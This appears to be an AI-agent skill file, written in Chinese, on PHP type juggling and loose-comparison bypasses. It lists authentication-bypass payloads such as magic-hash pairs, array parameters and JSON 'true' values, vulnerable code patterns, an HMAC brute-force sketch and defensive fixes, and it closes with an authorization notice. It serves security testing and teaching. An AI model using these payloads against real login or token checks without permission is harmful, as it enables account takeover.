type-juggling

type-juggling

热门

PHP 类型隐式转换(Type Juggling)与弱类型比较(`==`)绕过技巧。适用于身份验证、HMAC/签名校验或 Token 验证中使用了松散相等判断、强制数值转换或缺乏严格类型的哈希比较场景 —— 常见于旧版 PHP 代码及 CTF 风格的代码路径中。

1538Star
197Fork
更新于 2026/6/16
SKILL.md
只读
名称
type-juggling
描述

PHP 类型隐式转换(Type Juggling)与弱类型比较(`==`)绕过技巧。适用于身份验证、HMAC/签名校验或 Token 验证中使用了松散相等判断、强制数值转换或缺乏严格类型的哈希比较场景 —— 常见于旧版 PHP 代码及 CTF 风格的代码路径中。

SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

AI 加载指令:包含 PHP == 强制类型转换、Magic Hash(0e…)、HMAC/哈希松散校验、类型异常导致的 NULL,以及 CTF 常见的 strcmp / json_decode / intval 绕过技巧。请进行严格路由判断:分析漏洞触发点(是 == 还是 hash_equals)、PHP 大版本,以及两侧操作数是否均可被攻击者控制。路由注意:当遇到 PHP 登录/签名校验逻辑或类似 md5($_GET['x'])==md5($_GET['y']) 的代码时,优先加载本 Skill;如果代码已使用 hash_equals===,则该攻击路径通常不适用。

0. QUICK START

首轮测试目标:验证服务端是否因类型隐式转换而将不相等的密钥/Token 判定为相等,而非盲目猜测真实密码。

首轮常用 Payload(身份验证 / Token 变形)

password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00

最小化 PHP 探针(本地或实验环境中执行 php -r

<?php
// 松散比较探针 —— 建议尽量在目标 PHP 大版本下运行
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));

路由指引

线索 下一步
源码使用 == 比较密码、Token 或 HMAC 值 参考第 1 至 3 节
md5($a) == md5($b) 或松散的 sha1 比较 参考第 2 节(Magic Hash)
hash_hmac(...) != '0' 或与 "0" 进行比较 参考第 3 节
涉及 strcmpjson_decode(..., true)intval 参考第 5 节

1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS

PHP 在使用 == 比较操作数时会发生类型自动转换,除非针对敏感数据使用 ===hash_equals()

1.1 核心示例(字符串 vs 数字)

表达式 结果 机制简述
'0010e2' == '1e3' true 两者均满足数字字符串特征 → 解析为浮点数比较;均解析为 1000.0(并非 0 —— 常见测试误区,真实“均为 0”的情况见下一行)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' true 科学计数法下两者均解析为 0.0
'123a' == 123 true 字符串转 int 时遇到首个非数字字符停止 → 截断为 123
'abc' == 0 true(PHP 7.x 及更早版本 非数字字符串与 int 比较 → 字符串转换为 0
'' == 0 true 空字符串转换为 0
'' == false true 松散规则下两者均视为“假值(falsy)”
false == NULL true 松散相等判断
0 == false true 松散相等判断
'' == 0 == false == NULL true(链式比较) == 下相邻每组比较均为 true''==00==falsefalse==NULL) —— 经典的“假值链”
'0' == false true 字符串 '0'唯一在布尔比较中被判定为 false 的非空字符串
'php' == 0 false(PHP 8+ PHP 8:非数字字符串不再等于 0

1.2 PHP 5 vs 7 vs 8(关键差异对比)

特性 / 行为 PHP 5.x / 7.x(典型行为) PHP 8.0+
0 == "foo" true(字符串转换为 0) false
"123a" 字符串转数字 在多数 == 路径及 (int) 强制转换中仍会发生截断 数字字符串规则保持一致;非数字字符串与 int 比较的逻辑已修复(如上所述)
md5([]) / sha1([]) 触发 Warning 警告 / 旧版本中表现类似 NULL 传入错误类型时抛出 TypeError 异常 —— 除非异常处理降级为 NULL,否则经典数组 [] 技巧失效

测试者要点:务必通过 HTTP 响应头、X-Powered-By 或指纹识别确认 PHP 版本;在 PHP 7 上生效的 Payload 在 PHP 8 中可能会直接失效。

1.3 安全的替代方案(防御与验证)

hash_equals((string)$expected, (string)$actual);  // 防时序攻击,严格字符串比较
// 或
$expected === $actual;

2. MAGIC HASHES (0e… + digits only)

当比较两侧均为形似十六进制的哈希字符串,且均匹配正则 ^0e[0-9]+$ 时,PHP 会将其解析为科学计数法下的浮点数 —— 其数值均为 0.0。此时即使两个哈希摘要在文本上完全不同,md5(A) == md5(B) 依然成立,返回 true

2.1 参考对照表(MD5 / SHA-1 及更长哈希算法)

算法 输入示例 摘要结果(以 0e 开头且后接全十进制数字)
MD5 240610708 0e462097431906509019562988736854
MD5 QNKCDZO 0e830400451993494058024219903391
SHA-1 10932435112 0e07766915004133176347055865026311692244
SHA-224 (爆破 / 预计算) 示例形式:0e + 全数字 → 在 == 下与其他同类字符串相等
SHA-256 (爆破 / 预计算) 规则相同:仅匹配 ^0e\d+$ 的字符串会在 == 下发生碰撞

生效原理md5('240610708') == md5('QNKCDZO') → 两侧计算结果均匹配 ^0e[0-9]+$ → 被理解为 0.0 == 0.0 → 结果为 true

2.2 代码中的漏洞模式

if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // 开发者原意:字符串不同但 md5 相同(对 md5 来说几乎不可能)
    // 实际漏洞:两个不同的字符串,但其 *哈希摘要* 均为 Magic Hash
}

2.3 Payload 寻找思路(查找哈希对)

?a=240610708&b=QNKCDZO

对于 SHA-224/256,可将其看作碰撞搜索问题:持续爆破输入值,直到摘要匹配 ^0e\d+$,然后组合两个不同的输入。哈希长度越长,碰撞越难;上述 MD5/SHA1 示例为最常见的教学演示用例。


3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)

如果代码逻辑使用了针对常量的松散不相等比较:

if (hash_hmac('md5', $data, $key) != '0') { /* 验证通过 */ }
// 或与 0、false 比较,以及带有字符串 "0e..." 等情况

爆破 $data(例如时间戳、Nonce 随机数、计数器),直到 hash_hmac 的输出结果匹配 ^0e[0-9]+$(针对 MD5 输出)或符合代码中特定的松散规则 —— 此时哈希摘要在 == 下就会被判定为等于 0 或等于另一个 Magic Hash。

示例(针对数字消息的 MD5 风格 0e 摘要)

概念 示例 / 说明
消息类型 Unix 时间戳、自增 ID、毫秒级时钟
时间戳爆破模式 部分教程会引用 15398059860e772967136366835494939987377058 作为 Magic Hash 风格的例子;但在原生 PHP 中 md5('1539805986') 实际并不产生该摘要 —— 请掌握核心思路(扫描时间戳/计数器直至输出符合 ^0e[0-9]+$),且务必针对目标代码中的具体函数和 Key 进行验证
目的 寻找 $data 使得 hash_hmac('md5', $data, $key) 匹配 ^0e[0-9]+$
注意事项 在不知道 $key 的情况下,如果算法及输出回显在 Oracle 中可见,仍可尝试爆破 $data;CTF 题目中 Key 通常会被泄露或固定
# 概念逻辑:尝试多个时间戳
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t

防御修复:使用 hash_equals($mac, $expected) 并搭配固定长度的十六进制/二进制编码;切勿将 HMAC 直接与空泛的 "0" 进行比较。


4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

当传入无效类型时,比较操作的其中一边可能会返回 NULL;若此时与另一个 NULL 或经过隐式转换的值进行松散比较,可能会意外绕过。

函数调用 典型 PHP 7/8 行为
md5([]) PHP 8:抛出 TypeError;旧版本:触发警告 / 跨版本行为不稳定
sha1([]) 同上
绕过思路 如果错误处理函数或自定义封装将失败结果转换为了 NULL,那么当另一侧同样为 NULL 时,NULL == NULLNULL == sha1("x") 即可判定成立
// CTF / 缺陷代码的心智模型:
@sha1($_GET['x']) == @sha1($_GET['y']);  // 若两者均因错误返回 NULL → 比较结果为 true

实际审计技巧:重点排查 @ 错误抑制符、将哈希结果重置为 null 的自定义 try/catch 块,或者直接把用户输入传入要求字符串参数的函数位置。


5. CTF PATTERNS

5.1 strcmp / strcasecmp with arrays

strcmp([], "password");  // PHP 7/8 中返回 NULL(非法参数)
// 松散比较中 NULL == 0  → true,若代码写法如下:
if (strcmp($_GET['p'], $secret) == 0)

Payload:

?p[]=1

5.2 intval bypass

// 十六进制:base 为 0 时允许 PHP 解析 0x 前缀(依赖版本,务必验证)
intval("0x1A", 0);   // → 26

// 八进制:base 为 0 时前导 0 会被解析为八进制
intval("010", 0);  // → 8(经典教学示例;请在目标 PHP 上确认)

// 科学计数法:单纯 intval() 会在 'e' 处截断;需先强转为 float
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2

5.3 json_decode + true for associative array auth

{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "非空字符串" 通常成立 —— 详见 PHP 松散比较规则

5.4 is_numeric + loose compare

is_numeric("0e12345");  // true
"0e12345" == 0;         // true(科学计数法 → 0.0)

5.5 Deserialization + magic properties

将用户输入反序列化为对象,对象的 __toString 或属性被传入 md5($obj) 或参与松散比较 —— 结合属性上的 Magic Hash 字符串(常见于 CTF)。重点查找哈希比较 == 附近的 unserialize($_…)


6. DECISION TREE

                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+

Tool references

工具 场景用途
本地 php CLI 复现目标大版本下的 == 隐式转换行为
静态代码审计 在加密/哈希输出上全局搜索 ==!=;查找缺失的 hash_equals
CTF 工具框架 Magic Hash 及 0e 碰撞生成的 Payload 工具包

Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.